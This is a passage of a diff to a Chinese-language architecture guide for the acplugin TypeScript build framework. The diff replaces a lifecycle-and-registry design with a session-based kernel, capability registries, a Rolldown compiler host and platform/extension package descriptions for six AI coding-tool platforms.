Documents + Artifacts"] - PD --> AD - AD --> DU["DeliveryUnit"] - DU --> V["临时候选 + Platform Validator"] - V --> T["全量输出事务"] - L --> R["BuildResult / stable JSON"] - T --> D["dist/platform/unit"] -``` - -唯一正式顺序是: - -```text -configResolved -→ buildStart -→ Extension.discover -→ Scanner -→ Extension.validate/build -→ Platform.prepare -→ Adapter.apply -→ Platform.generateBundle/validateBundle -→ generateDistributions -→ compatibility propagation -→ transaction -→ buildEnd(按初始化逆序) -``` - -CLI 和程序化 `runProject()` 最终都进入 [`executeLifecycle()`](../../packages/core/src/lifecycle.ts),没有第二条构建路径。 - -### 2.2 关键数据对象如何接力 - -| 数据对象 | 产生者 | 消费者 | 重要性质 | +| 目录 | Package | 可见性 | 责任 | | --- | --- | --- | --- | -| `UserConfig` | `acplugin.config.ts` | 主包配置加载器、Core `resolveConfig()` | 作者输入;可以是对象或函数 | -| `ResolvedConfig` | Core config | Core lifecycle | 绝对路径化、默认值合并、Platform/Extension 已品牌校验 | -| `PluginProject` | Core Scanner | Extension validate/build、Platform、Adapter | Commands/Skills/Agents/Public 的唯一规范模型,深度冻结 | -| `Discovered*` | Extension discover | 同一 Extension validate/build | 作者格式的已加载描述,不跨 Extension 暴露 | -| `Built*` | Extension build | 同一 Extension 的 Platform Adapter | 平台中立状态;可引用 Extension 独占 workDir | -| `DraftDocument` | Platform prepare | Adapter、Platform generateBundle | Platform 拥有,Extension 只能向声明的空 extension point add-only patch | -| `ArtifactInput` | Platform/Adapter/Public | Artifact Registry | `bytes` 或普通文件来源;尚未带 hash/owner | -| `Artifact` | Core Artifact Registry | DeliveryUnit、事务、报告 | 已绑定 owner、mode、size、SHA-256,且来源授权已验证 | -| `DeliveryUnit` | Platform + Core Registry | Validator、事务 | 主 Plugin/Workspace/Package 或 Marketplace Distribution | -| `BuildResult` | Core reports | CLI、程序化 API、JSON 输出 | 稳定排序、无内容字节、无绝对路径、无 Secret 值 | - -数据不会反向穿透边界:Platform 看不到另一个 Platform 的 workDir;Extension 看不到另一个 Extension 的 Built State;Validator 只能观察自己临时物化的候选;报告不携带 Artifact 内容、原始异常、临时路径或环境变量值。 - -### 2.3 三个最重要的不变量 - -1. **Core 决定流程,Platform 决定格式。** Core 不写平台名称分支;Platform 不直接提交 `dist`。 -2. **所有贡献都有 owner。** Document 归 `platform:`,Adapter Artifact 归 `extension:`,Public 归 `public`;owner 决定允许读取的文件来源。 -3. **先完整验证,再整体交换。** 任一 Platform、Extension、Validator 或 `buildEnd` 失败,不能留下部分新输出。 - -Extension Adapter 按 `extensions[]` 配置顺序串行运行。`getDocument()` 能看到前序贡献,因此顺序有语义;add-only 只能防止替换和静默合并,不能保证 Adapter 可交换。同一扩展点或输出路径的冲突必须失败。 - -## 3. `@tokenroll/acplugin`:公开 façade、CLI 与工程入口 +| `packages/acplugin` | `@tokenroll/acplugin` | 公开 | CLI、作者 façade、`/sdk`、Project API、init、隔离 Migration;bundle Core | +| `packages/core` | `@acplugin/core` | 私有 | Kernel、Resource/Host/Registry、Compiler、Package、事务、报告 | +| `packages/platforms/*` | 六个 `@tokenroll/acplugin-platform-*` | 公开 | 单一目标平台转换、Package、Distribution 与 candidate validator | +| `packages/extensions/hooks` | `@tokenroll/acplugin-extension-hooks` | 公开 | Hook 作者协议、单次构建、安全 runner、六平台 Contributor | +| `packages/extensions/mcp` | `@tokenroll/acplugin-extension-mcp` | 公开 | HTTP/stdio MCP 协议、stdio 构建/smoke、六平台 Contributor | +| `packages/test` | `@acplugin/test` | 私有 | 跨包、CLI、Migration、tarball 与架构测试 | +| `packages/docs` | `@acplugin/docs` | 私有 | VitePress 与九个公开 package 的 TypeDoc | +| `packages/playground` | `@acplugin/playground` | 私有 | 领域中立的真实全能力消费模板 | -### 3.1 从哪里开始读 +公开调用面有意分成两层: -- [src/index.ts](../../packages/acplugin/src/index.ts):精选公开 SDK、`defineConfig()` 与 `runProject()`;没有官方集成导出。 -- [src/project-config.ts](../../packages/acplugin/src/project-config.ts):Jiti 加载配置、运行时 Schema 检查、配置依赖监听。 -- [src/run-project.ts](../../packages/acplugin/src/run-project.ts):CLI/程序化 API 到 Core 生命周期的唯一桥。 -- [src/cli.ts](../../packages/acplugin/src/cli.ts):Commander 命令、报告、退出码、dev watcher。 -- [src/init.ts](../../packages/acplugin/src/init.ts):新工程脚手架。 -- [src/migration/index.ts](../../packages/acplugin/src/migration/index.ts):隔离的 legacy 输入迁移。 -- [tsdown.config.ts](../../packages/acplugin/tsdown.config.ts):内联 Core、库/CLI 入口和 Migration lazy chunk 边界。 +- `@tokenroll/acplugin`:普通作者使用 `defineConfig()`,程序化调用方使用 `createProject()`、`runProject()`、`Project.dev()`,并读取 schema-v2 `BuildReport`。 +- `@tokenroll/acplugin/sdk`:Platform/Extension 实现使用 `definePlatform()`、`defineExtension()`、Session/Contributor/Compiler/Asset 契约与稳定序列化工具。 -### 3.2 内容与架构 +官方 Platform/Extension 以主包为 peer,只能 import `/sdk`,不能 import `@acplugin/core`。主包不 bundle 或重导出任何官方集成。 -主包是“装配层”,不重新实现 Core 规则: - -- `index.ts` 公开作者和第三方集成需要的生命周期类型、`definePlatform()`、`defineExtension()`、Artifact helper 和稳定序列化函数;Registry、事务实现和官方工厂不从 façade 泄漏。 -- `project-config.ts` 使用每次运行无缓存的 Jiti 执行可信 TypeScript 配置,并记录 Jiti 实际转换的配置 import、Extension descriptor 和外部 package root,供 dev 监听。 -- `run-project.ts` 处理 CLI 的 Platform 子集和 strict 覆盖,然后调用 Core。 -- `cli.ts` 将 `validate`、`inspect`、`build`、`dev` 映射到同一入口;`init` 是脚手架;`migrate` 使用动态 import 保持 Migration 隔离。 -- 主包构建产生库入口和可执行 CLI;Migration 保留为 CLI 才能触达的独立 chunk。主包没有 Platform subpath。 - -### 3.3 数据流 +## 2. 固定执行图 ```text -argv / RunProjectOptions -→ loadProjectConfig() -→ Jiti 执行 UserConfig -→ Core resolveConfig(require non-empty branded platforms) -→ 可选 Platform/strict 运行时覆盖 -→ executeLifecycle() -→ BuildResult -→ CLI 文本、stable JSON 或程序化返回值 -``` - -`executeProject()` 还额外返回 `projectRoot`、`outDir`、`watchPaths` 和 `dependencyRoots`,但这些绝对路径只给内部 dev watcher,不进入公开 `BuildResult`。 - -`--platform ` 只筛选配置中已经实例化的平台,不按 ID import 或安装 package。Claude Code/Codex 的“默认”只存在于 `init` 的脚手架选择:生成结果仍包含显式依赖、import 和 `platforms` 数组。 - -### 3.4 实现伪代码 - -```ts -async function runProject(options) { - loaded = await loadProjectConfigWithFreshJiti(options) - config = applyConfiguredPlatformSubsetAndStrictOverride(loaded.config, options) - - result = await Core.executeLifecycle({ - config, - commit: commandIsBuildOrDev && options.commit !== false, - loadTypeScriptModule: loaded.sharedJitiLoader, - onWatchFile: rememberExtensionBundleDependency, - }) - - return result -} -``` - -dev 的重点不是缓存产物,而是可靠地重跑完整事务并保留最后成功输出: - -```ts -watchPaths = configEntry + projectRoot + descriptors + bundleModuleGraph -startChokidar(ignoreManagedOutDir) -await compensatingBuildAfterWatcherReady() - -onAnyChange: - debounce() - mergeChangesWhileBuildIsRunning() - result = await executeProject({ command: 'dev', commit: true }) - replaceWatchSetIfDependencyGraphChanged() - // 构建失败时 Core 不替换旧 dist -``` - -### 3.5 Init 与 Migration 的边界 - -`initializeProject()` 只写最小规范工程:配置、package manifest、示例源目录和可选 Extension 空目录。它拒绝符号链接、非空目标和非法名称,不会生成伪 Hook/MCP 实现。 - -Migration 是同一个 package 内的隔离子系统,但不属于正常构建: - -```ts -CLI migrate -→ dynamic import('./migration/index.js') -→ 容错扫描 legacy Claude project/plugin -→ 先稳定分配 canonical ID -→ 安全可映射内容写入临时 canonical project -→ 不可映射内容写 .acplugin-migration/unmapped -→ 用正式配置加载与生命周期验证生成结果 -→ 非 dry-run 时提交到全新目标目录 +acplugin.config.ts +→ config load/resolve +→ Platform/Extension Session setup +→ canonical/Public/Runtime/Extension discovery +→ CanonicalProject assembly +→ Component/Extension validation +→ Extension/Core Runtime compilation +→ Platform.createPackage +→ Framework/Extension Contributor collection +→ Core add-only merge +→ Platform.finalizePackage +→ primary candidate materialize/validate +→ Distribution create/validate +→ compatibility/metadata finalization +→ aggregate materialization validation +→ managed transaction +→ reverse Session close +→ BuildReport schema v2 ``` -修改正常构建时不要 import `migration/`;修改 legacy 容错逻辑时也不要把宽松类型和旧概念带回 Core。 - -## 4. `@acplugin/core`:唯一编排器与安全边界 +CLI、`runProject()`、`Project.run()` 与 `Project.dev()` 的每个重建轮次最终都进入 `packages/core/src/kernel/build-session.ts`。不存在 CLI 专用构建器或 Extension 自己的 pipeline。 -### 4.1 模块分工 +## 3. 主包入口 -| 文件 | 负责什么 | +| 文件 | 作用 | | --- | --- | -| [contracts.ts](../../packages/core/src/contracts.ts) | Platform/Extension/Adapter 生命周期接口、符号品牌、Document/DeliveryUnit 契约 | -| [types.ts](../../packages/core/src/types.ts) | Config、Component、PluginProject、Artifact、BuildResult 数据类型 | -| [config.ts](../../packages/core/src/config.ts) | 顶层 Schema、路径解析、默认值、Platform/Extension 配置校验 | -| [scanner.ts](../../packages/core/src/scanner.ts) | Markdown/frontmatter、Skill 辅助文件、Public、依赖图和平台字段扫描 | -| [lifecycle.ts](../../packages/core/src/lifecycle.ts) | 唯一固定阶段顺序、隔离 workDir、失败收敛、全局提交门槛 | -| [documents.ts](../../packages/core/src/documents.ts) | owner-aware add-only Document Registry 和 Platform Draft | -| [artifacts.ts](../../packages/core/src/artifacts.ts) | Artifact 路径、来源授权、普通文件、mode、size、hash | -| [output-paths.ts](../../packages/core/src/output-paths.ts) | 绝对/父目录路径拒绝、大小写与 Unicode 规范化冲突 | -| [delivery-units.ts](../../packages/core/src/delivery-units.ts) | 全局 Platform/Unit 唯一性和继承 Artifact 完整性 | -| [diagnostics.ts](../../packages/core/src/diagnostics.ts) | 诊断、兼容性、元数据去向、严格度和依赖传播 | -| [transaction.ts](../../packages/core/src/transaction.ts) | 候选物化、完整性复核、锁、恢复、stage/backup/swap/rollback | -| [serialization.ts](../../packages/core/src/serialization.ts) | 稳定 JSON/YAML/frontmatter 序列化 | -| [reports.ts](../../packages/core/src/reports.ts) | 构造、排序、脱敏和序列化 `BuildResult` | - -### 4.2 Core 的内部架构 - -Core 把“插件系统”拆成四类 Registry/Collector: - -- `DocumentRegistry`:管理结构化文档和值级 owner。 -- `ArtifactRegistry`:管理物理路径、来源授权和内容摘要。 -- `DeliveryUnitRegistry`:管理最终交付单元及继承 Artifact。 -- Diagnostic/Compatibility/Metadata Collector:管理可报告的结构化结论。 - -这些对象由 `executeLifecycle()` 统一创建,Platform 和 Extension 只能拿到最小回调,不能持有 Registry 本体。 - -### 4.3 主生命周期伪代码 - -```ts -async function executeLifecycle(request) { - runtimeRoot = makeTemporaryRoot() - diagnostics = new DiagnosticCollector(redact(projectRoot, runtimeRoot)) - platformRuntimes = makeIsolatedWorkDirs(config.platforms) - extensionRuntimes = makeIsolatedWorkDirs(config.extensions) - - try { - await configResolved(platformsThenExtensionsInConfigOrder) - await buildStart(platformsThenExtensionsInConfigOrder) - - discovered = await eachExtension.discover() - project = await scanProject(config) - sourcePolicies = deriveExactOwnerAuthorizations(project, workDirs) - - await eachExtension.validate(discovered, project) - built = await eachExtension.build(discovered, project) - - for (platform of configuredPlatforms) { - draft = PlatformDraftRegistry.create(await platform.prepare(project)) - draft.injectPublicArtifacts(project.publicFiles) - - for (extension of configuredExtensionsWithResources) { - adapter = extension.adapterFor(platform.id) - if (!adapter) reportUnsupported() - else await adapter.apply(restrictedDraftContext, extension.built) - } - - applyCompatibilityStrictness() - primaryInput = await platform.generateBundle(draft.snapshot()) - assertAllInheritedDocumentsAndArtifactsWerePreserved(primaryInput) - - primary = await deliveryUnits.add(primaryInput) - await materializeValidateAndRecheck(primary, platform.validateBundle) - - distributions = await platform.generateDistributions?.([primary]) - await validateEachDistribution(distributions) - } - - propagateComponentDependencyCompatibility() - if (allPlatformsSucceeded && noErrors) { - if (commitRequested) - await commitAllUnitsAtomically({ afterSwap: reverseBuildEnd }) - else - await validateWholeTreeWithoutCommit() - } - } catch (unknownError) { - addStableInternalDiagnosticWithoutLeakingRawError() - } finally { - await reverseBuildEndForAnythingNotFinalized() - removeTemporaryRoot() - } - - return stableBuildResult() -} -``` - -### 4.4 Document 合并逻辑 - -Platform 在 `prepare()` 声明初始值和允许的 `extensionPoints`。Adapter 不能 deep merge 任意对象,只能向一个精确、当前为空、尚未被其他 owner 占用的路径添加值。 - -```ts -function patchDocument(extensionOwner, patch) { - document = requirePlatformDocument(patch.document) - requirePathWasDeclaredAsExtensionPoint(patch.path) - requireNoParentOrChildExtensionPointAmbiguity(patch.path) - requireFieldIsEmpty(document.value, patch.path) - requireNoExistingOwner(patch.path) - - cloned = cloneAndFreezeFiniteJson(patch.value) - document.value = addFieldWithoutReplacing(document.value, patch.path, cloned) - fieldOwners.set(patch.path, extensionOwner) -} -``` - -如果 patch 或 Artifact 贡献被拒绝,即使第三方 Adapter 捕获同步异常,Core 仍记录粘滞失败并阻止当前 Platform 提交。 - -### 4.5 Artifact 来源与输出事务 - -文件型 Artifact 不是“给一个路径就复制”。Core 根据 owner 建立授权: - -- `platform:`:自己的 workDir,加 Scanner 精确发现的 Component/Skill 文件。 -- `extension:`:只有自己的 workDir。 -- `public`:只有 Scanner 精确发现的 Public 文件。 - -事务伪代码: - -```ts -lock = acquireExclusiveLock(outDir) -recoverStaleBackupTransactionAndStage() -stage = createSiblingStage(outDir) // 保证同一文件系统 rename -materializeAllDeliveryUnits(stage) -reReadAndVerifyTypeHashSizeMode(stage) -writeTransactionRecord() - -rename(oldOutDir, backup) -try { - rename(stage, outDir) - await afterSwapBuildEnd() - removeTransactionAndBackupBestEffort() -} catch (error) { - removeNewOutDir() - rename(backup, outDir) - throw error -} finally { - removeStageAndLockBestEffort() -} -``` +| `packages/acplugin/src/index.ts` | 作者/程序化根入口;只导出配置、Project、报告和 Runtime path helper | +| `packages/acplugin/src/sdk.ts` | Integration 唯一实现入口,转出 Core `kernel-sdk` | +| `packages/acplugin/src/project.ts` | 把公开 Project API 绑定到 Core Kernel 与当前 Framework version | +| `packages/acplugin/src/cli.ts` | init、validate、inspect、build、dev、migrate;只消费 Project API | +| `packages/acplugin/src/init.ts` | 显式 Platform/Extension 脚手架与内建 Runtime 模板 | +| `packages/acplugin/src/ecosystem-versions.*` | init、Migration 与 release verifier 共用的公开生态版本快照 | +| `packages/acplugin/src/migration/` | 动态 import 的隔离迁移子系统 | -因此修改事务代码时,正常成功测试远远不够,必须覆盖每个 phase 的故障注入、崩溃恢复和回滚失败。 - -## 5. 六个公开 Platform package 的共同模板 - -六个平台的 [src/index.ts](../../packages/platforms/claude-code/src/index.ts) 都从 `@tokenroll/acplugin` 使用公开 `definePlatform()`,由同一主包 peer 实例注入模块私有 Symbol 品牌,并实现同一模板: - -```ts -function platformFactory(options) { - validatePlatformOptions(options) - return definePlatform({ - id, - apiVersion: '1', - deliveryType, - validateComponentFields, - prepare: project => ({ documents: platformOwnedDocuments, artifacts: [] }), - generateBundle: mergedDraft => ({ - id: deliveryType, - role: 'primary', - type: deliveryType, - artifacts: inherited + convertedComponents + serializedDocuments, - }), - validateBundle: validateMaterializedPlatformCandidate, - generateDistributions: optionalMarketplace, - }) -} -``` - -每个 Platform package 自己拥有四件事:Component 转换、结构化 Document/Manifest、DeliveryUnit 形态、最终候选 Validator。新增平台格式判断不应写到 Core 或主包 CLI。 - -## 6. `@tokenroll/acplugin-platform-claude-code` +`defineConfig()` 是唯一作者 define factory,仅用于类型推断。Hook、MCP descriptor 与 Runtime 源码使用 plain default export / 目录约定,不需要 `defineHook()`、`defineMcpServer()`、`defineNodeRuntime()` 或 `nodeRuntime()`。 -### 内容与数据流 +## 4. Core 契约层 -- [components.ts](../../packages/platforms/claude-code/src/components.ts):Command、Skill、Agent 都生成 Claude Code 原生资源;规范能力映射为工具,抽象模型档位映射为稳定别名。 -- [manifest.ts](../../packages/platforms/claude-code/src/manifest.ts):拥有 `.claude-plugin/plugin.json`,开放 `hooks`、`mcpServers` 两个 add-only 点,并可组合 Marketplace。 -- [validator.ts](../../packages/platforms/claude-code/src/validator.ts):重新读取物化候选,验证 manifest、hooks、MCP 引用、Marketplace 和路径边界。 -- [types.ts](../../packages/platforms/claude-code/src/types.ts):Marketplace owner、元数据和平台选项。 - -```text -PluginProject -→ commands/.md -→ skills//SKILL.md + auxiliary files -→ agents/.md -→ .claude-plugin/plugin.json -→ Hooks/MCP Adapter 可追加配置与运行文件 -→ plugin DeliveryUnit -→ 可选 marketplace DeliveryUnit -``` - -### 实现伪代码 - -```ts -prepare(project): - manifest = createClaudePluginManifest(project.metadata) - expose extensionPoints ['hooks'] and ['mcpServers'] - -generateBundle(draft): - commands = mapArguments('{{arguments}}' -> '$ARGUMENTS') - skills = copyCanonicalSkillsAndAuxiliaryFiles() - agents = mapCapabilitiesToClaudeToolsAndModelAliases() - return plugin(draft.artifacts + commands + skills + agents + stableManifest) - -generateDistributions(primary): - if no marketplace option return [] - composeValidatedPrimaryPluginIntoMarketplace(primary) -``` +| 文件 | 作用 | +| --- | --- | +| `kernel-types.ts` | 作者 Config、CanonicalProject、Session、Host、Package/Contribution、报告类型 | +| `kernel-contracts.ts` | `definePlatform()` / `defineExtension()` 精确字段验证、JSON 防御性复制、品牌与冻结 | +| `kernel-author.ts` | 主包根入口允许公开的作者/报告类型 | +| `kernel-sdk.ts` | `/sdk` 允许公开的 Integration 类型与工具 | +| `serialization.ts` | 确定性 JSON/YAML/frontmatter 序列化 | -优先读 `components.ts` 来改转换,读 `manifest.ts` 来改清单字段,读 `validator.ts` 来改最终平台约束;三处通常需要同步测试。 +`LIFECYCLE_API_VERSION` 保持 `'1'`。该值表达当前 Session/Contributor 契约版本,不表示保留被删除的旧 shape。 -## 7. `@tokenroll/acplugin-platform-codex` +Platform options 和 Extension options 必须是深度冻结的严格 JSON。定义对象拒绝未知字段、accessor、Symbol、稀疏数组、自定义 prototype、循环与非有限数字,防止 setup 后继续观察调用方 mutation。 -### 内容与数据流 +## 5. Capability Registry 与 Host -- [components.ts](../../packages/platforms/codex/src/components.ts):原生 Skill;Command 默认转 `command-` Skill,也可显式选用 Plugin 前缀;Agent 降级为 `agent-` 指导 Skill;可生成 `agents/openai.yaml`。 -- [manifest.ts](../../packages/platforms/codex/src/manifest.ts):拥有 Codex Plugin manifest、Hooks/MCP 扩展点和可选 Marketplace。 -- [protocol.ts](../../packages/platforms/codex/src/protocol.ts):类别、安装方式、界面字段、URL/资源路径和 SVG 尺寸协议。 -- [validator.ts](../../packages/platforms/codex/src/validator.ts):验证 Skill、展示资源、Hook、MCP、Plugin 和 Marketplace 的引用闭包。 +Kernel 不把物理路径和任意文件系统权限交给 Integration,而是签发与当前 BuildSession/owner 身份绑定的 capability: -Command 中的 `{{arguments}}` 会变成显式调用指引,并独立报告 `arguments/transform`;`argumentHint` 因没有等价 UI 仍单独降级。Command generated ID 默认是 `command-`;`generatedSkillIds.command: 'plugin-prefixed'` 只在显式启用时生成 `-`。prepare 冲突检查和 generateBundle 共用同一 ID resolver。 +| 模块 | 能力 | +| --- | --- | +| `source-registry.ts` | 验证来源根、普通文件、symlink/特殊文件、SourceRef 授权 | +| `module-host.ts` | 通过受管 ESM 图加载可信 TypeScript/JavaScript config/descriptor | +| `compiler/compiler-host.ts` | 当前 Session 唯一 Rolldown owner,返回 GeneratedAssetRef 与脱敏模块图 | +| `execution-host.ts` | 在隔离 cwd、最小显式环境、超时和输出上限内执行 portable Node Asset | +| `asset-registry.ts` | 签发 Source/Generated/Bytes AssetRef,记录 owner/origin/mode/size/hash 与 grant | +| `watch-registry.ts` | 集中记录 Resource、Module、Compiler 实际读取的依赖 | +| `work-directories.ts` | 为 owner 管理不可伪造的内部 workDir;不公开物理写权限 | +| `build-session-scope.ts` | Session 结束后统一撤销所有 capability identity | -### 实现伪代码 +AssetRef 不是可伪造的 `{ path }`。Registry 使用对象身份验证当前 Session、真实 issuer 与 consumer grant;报告中的 origin 为结构化工程相对来源,不影响内容 hash。 -```ts -prepare(project, options): - commandId = resolveCommandSkillId(project.name, options.generatedSkillIds) - rejectCollisions(skillId, commandId, `agent-${id}`) - manifest = createCodexManifest(interfaceOptions) - expose ['hooks'] and ['mcpServers'] +## 6. Resource Provider -generateBundle(draft, capturedCommandIdStrategy): - nativeSkills = emitSkills(project.skills) - commandSkills = emitExplicitSkills(project.commands, capturedCommandIdStrategy) - agentSkills = emitGuidanceSkills(project.agents, prefix='agent-') - metadata = emitOptionalAgentsOpenAiYaml() - reportNativeTransformOrDegradedPerCapability() - return plugin(draft.artifacts + allSkills + metadata + stableManifest) -``` +`packages/core/src/resources/` 把作者布局转换为唯一 `CanonicalProject`: -Codex Validator 最复杂。改 manifest/interface/Skill metadata 时,要同时检查 `protocol.ts`、生成器、Validator、golden 和跨包测试,不能只改序列化输出。 +- `canonical-provider.ts`:Command、Skill、Agent Markdown/frontmatter、辅助资源与平台字段。 +- `project-graph.ts`:拒绝缺失、自依赖和循环依赖。 +- `public-provider.ts`:默认 `public/` 和显式 copy mapping。 +- `runtime-provider.ts`:内建 Node Runtime 自动/显式入口、编译与 capability-driven Contribution。 +- `extension-provider.ts`:Extension discover/validate/build state snapshot、consumer plan 与 Contributor 收集。 +- `resource-registry.ts`:声明/认领资源根,拒绝未启用 Extension 遗留目录和根冲突。 -## 8. `@tokenroll/acplugin-platform-cursor` +所有 ID、目录项和报告集合按 code point 稳定排序;路径统一拒绝绝对路径、NUL、`..`、大小写/Unicode normalization 冲突与文件/目录前缀冲突。 -### 内容与数据流 +## 7. 统一 Rolldown Compiler -- [components.ts](../../packages/platforms/cursor/src/components.ts):三类 Component 都生成 Cursor 原生文件;Command 参数占位符变为 `$ARGUMENTS`;只读能力可精确映射为 `readonly`。 -- [manifest.ts](../../packages/platforms/cursor/src/manifest.ts):拥有 `.cursor-plugin/plugin.json`,只声明工程实际存在的资源 glob,开放 `hooks`、`mcpServers`。 -- [validator.ts](../../packages/platforms/cursor/src/validator.ts):固定 Schema 子集、资源引用、logo URL/文件和路径安全。 +`context.compiler.compile()` 提供两种 profile: -### 实现伪代码 +### `portable-node` -```ts -prepare(project): - manifest = { - identityMetadata, - commands: project.hasCommands ? './commands/*.md' : omitted, - skills: project.hasSkills ? './skills/*/SKILL.md' : omitted, - agents: project.hasAgents ? './agents/*.md' : omitted, - } - expose ['hooks'] and ['mcpServers'] +用于内建 Runtime、Hooks 和 local MCP。它固定 Node 20 ESM、自包含 bundle、只 externalize `node:` builtin、无 sourcemap,并拒绝未解析 import、原生扩展、隐式运行时依赖和不确定输出。许可证默认严格收集,实际包含第三方 package 时产生 `THIRD_PARTY_LICENSES.txt`。 -generateBundle(draft): - emitNativeCommandsSkillsAgents() - reportModelOrCapabilityLossesPrecisely() - return plugin(draft.artifacts + components + manifest) -``` +作者只可调整 `PortableNodeCompileOptions` 的 JSON-safe `resolve`、`transform` 和 `treeshake` 子集,不能注入 plugin 或回调。 -Cursor 的“原生”只表示资源形态原生,不代表每个规范字段都无损;模型档位和非只读能力组合仍通过字段级兼容性报告表达。 +### `managed-rolldown` -## 9. `@tokenroll/acplugin-platform-antigravity` +供第三方 Integration 使用 Rolldown 的受管能力。Core 始终接管 cwd、input identity、输出、日志、watch、close、workDir 和 Asset 签发,禁止 `writeBundle`、`watchChange`、`closeWatcher` 等越权 Hook。许可证默认 `strict`;显式 `ignore` 仅表示调用方承担法律材料责任,不关闭其余安全审计。 -### 内容与数据流 +Module graph 的实际 source、package、tsconfig 与 license 输入全部进入 Watch Registry。Platform/Extension 不得直接依赖 Rolldown并建立第二套 bundler。 -- [components.ts](../../packages/platforms/antigravity/src/components.ts):Skill 原生;Command 转 `command-` Skill;Agent 转 `agent-` 指导 Skill。 -- [manifest.ts](../../packages/platforms/antigravity/src/manifest.ts):只生成已确认的最小 `plugin.json`,没有 Document extension point。 -- [validator.ts](../../packages/platforms/antigravity/src/validator.ts):校验最小 manifest/schema 和根结构。 +## 8. Package、Document 与 Contribution -Hooks 和 MCP 仍可通过 Adapter 贡献独立的 `hooks.json`、`mcp_config.json` 与运行文件,但不能 patch `plugin.json`。 +Platform `createPackage()` 返回: -### 实现伪代码 +- 结构化 Document(JSON/YAML/TOML/frontmatter)及明确的空 extension point; +- package-relative Asset mappings; +- Canonical Component 兼容性; +- metadata emitted/omitted 结论。 -```ts -prepare(project): - rejectCollisions(skillId, `command-${id}`, `agent-${id}`) - return minimalPluginJson(withNoExtensionPoints) +Core 把它复制为冻结的 `PlatformBasePackageSnapshot`。Framework Runtime/Public 与所有 Extension Contributor 都读取这一份相同 snapshot;Extension Contribution 并发收集,按 owner 稳定排序后集中合并。 -generateBundle(draft): - emitNativeSkills() - emitCommandFallbackSkills() - emitAgentGuidanceSkills() - appendAdapterArtifactsWithoutManifestMutation() - return plugin(allArtifacts + pluginJson) -``` +Contribution 只能: -这里的设计倾向是“字段少但可信”。未经官方契约确认的 manifest 字段不应为了看起来完整而加入。 +- 填写已声明、当前为空的 Document field path; +- 追加当前 owner 已签发或获 grant 的 Asset; +- 精确覆盖 Extension validate 阶段声明的 compatibility tuple。 -## 10. `@tokenroll/acplugin-platform-opencode` +它不能读取其他 Contribution、替换/删除已有字段、append 任意数组、claim/suppress Component 或覆盖 Asset 路径。同一字段、路径或 tuple 竞争稳定失败,不使用 `extensions[]` 顺序解决。 -### 内容与数据流 +`finalizePackage()` 读取 merged snapshot,只决定主 Package identity/type 并可追加 Platform 自有 Asset。Core 自动继承全部 base/contribution 内容。主 Package 通过完整临时候选校验后,Platform 才能创建 Marketplace Distribution;Distribution 也必须保持继承 Asset 完整性并再次校验。 -- [components.ts](../../packages/platforms/opencode/src/components.ts):生成 `.opencode/commands`、`.opencode/skills`、`.opencode/agents`;Agent 能力转换为 tools/permissions。 -- [config-document.ts](../../packages/platforms/opencode/src/config-document.ts):拥有可 `omit-if-empty` 的 `opencode.json`,只开放 `mcp` 扩展点。 -- [validator.ts](../../packages/platforms/opencode/src/validator.ts):确保交付是 Workspace Overlay,不伪造通用 package 或 Plugin manifest。 +相关实现位于: -Hooks Adapter 通过 `.opencode/plugins/acplugin-hooks.mjs` 提供 runtime Plugin,不需要修改 `opencode.json`;MCP Adapter 则 patch `workspace-config.mcp`。 +- `package/package-registry.ts` +- `package/document-codec.ts` +- `package/candidate-materializer.ts` +- `package/distribution-registry.ts` +- `package/compatibility-registry.ts` +- `package/report-builder.ts` -### 实现伪代码 +## 9. Platform package -```ts -prepare(project): - workspaceConfig = options.workspace ?? {} - expose ['mcp'] - mark opencodeJson as omitIfEmpty +六个官方 Platform 都遵循同一结构: -generateBundle(draft): - commands = emitWorkspaceCommands() - skills = emitWorkspaceSkills() - agents = emitSubagentsWithToolsAndPermissions() - config = serializeOnlyIfNonEmptyAfterMcpPatch() - return workspace(draft.artifacts + commands + skills + agents + config) +```text +src/ +├── index.ts # factory、definePlatform、Session +├── components.ts # Canonical Component 转换与 compatibility +├── manifest.ts # 可选,结构化 Platform Document/metadata +├── validator.ts # 完整候选 Schema/引用闭包校验 +└── types.ts # 公开 options 与目标格式类型 ``` -不要为 OpenCode 添加普通 `package.json` 来模拟安装包;它的主交付单元类型就是 `workspace`。 +Platform 只声明能力,不要求 Core 按 ID 分支。当前 Claude Code/Codex 声明固定 Plugin-local Node 20 ESM capability;Runtime Provider 据此交付相同 AssetRef。其他 Platform 得到 `unsupported` 且无伪 Runtime。 -## 11. `@tokenroll/acplugin-platform-pi` +主交付形态:Claude Code/Codex/Cursor/Antigravity 为 Plugin,OpenCode 为 Workspace,Pi 为 npm Package。Claude Code/Codex 可派生 Marketplace Distribution。 -### 内容与数据流 +## 10. Extension package -- [components.ts](../../packages/platforms/pi/src/components.ts):Command 转 `prompts/.md`;Skill 原生;Agent 转 `agent-` 指导 Skill。 -- [manifest.ts](../../packages/platforms/pi/src/manifest.ts):拥有真实 npm `package.json`,开放 `pi.extensions` 给 Hooks Adapter。 -- [validator.ts](../../packages/platforms/pi/src/validator.ts):验证 Pi discovery 路径、package 边界,并拒绝 workspace/private 运行时泄漏。 +Hooks 与 MCP 都采用: -Pi 没有首期 MCP 配置,MCP Adapter 只报告 unsupported,不生成隐式客户端。 - -### 实现伪代码 - -```ts -prepare(project): - rejectCollisions(skillId, `agent-${id}`) - packageJson = createPublishablePiPackageManifest(options.package) - expose ['pi', 'extensions'] - -generateBundle(draft): - prompts = transformCommandsToPromptTemplates('$ARGUMENTS') - skills = emitNativeSkills() - agentSkills = emitGuidanceFallbacks() - return package(draft.artifacts + prompts + skills + agentSkills + packageJson) +```text +types.ts → discovery.ts → build.ts → contributors/.ts ``` -改 Pi package manifest 时要同时考虑 npm 合法性、Pi discovery 和公开 tarball 字段,不能照搬 workspace 根 manifest。 - -## 12. `@tokenroll/acplugin-extension-hooks` +### Hooks -### 12.1 内容与架构 +- descriptor:`src/hooks//hook.ts` plain default export; +- build:每个 handler 经 Core `portable-node` 只 bundle 一次; +- runtime:编译进 handler 的 wire profile 拥有平台 stdin/stdout、camelCase、root/data 映射和稳定错误码; +- Contributors:为六个平台追加受支持 runtime/config,并逐事件/字段报告兼容性。 -- [types.ts](../../packages/extensions/hooks/src/types.ts):`defineHook()` 品牌、规范事件、事件级输入/结果类型、平台选项。 -- [discovery.ts](../../packages/extensions/hooks/src/discovery.ts):扫描 `src/hooks//hook.ts`、加载品牌定义、校验事件和字段。 -- [bundler.ts](../../packages/extensions/hooks/src/bundler.ts):每个 Hook 只 Bundle 一次,登记真实模块图并收集第三方许可证。 -- 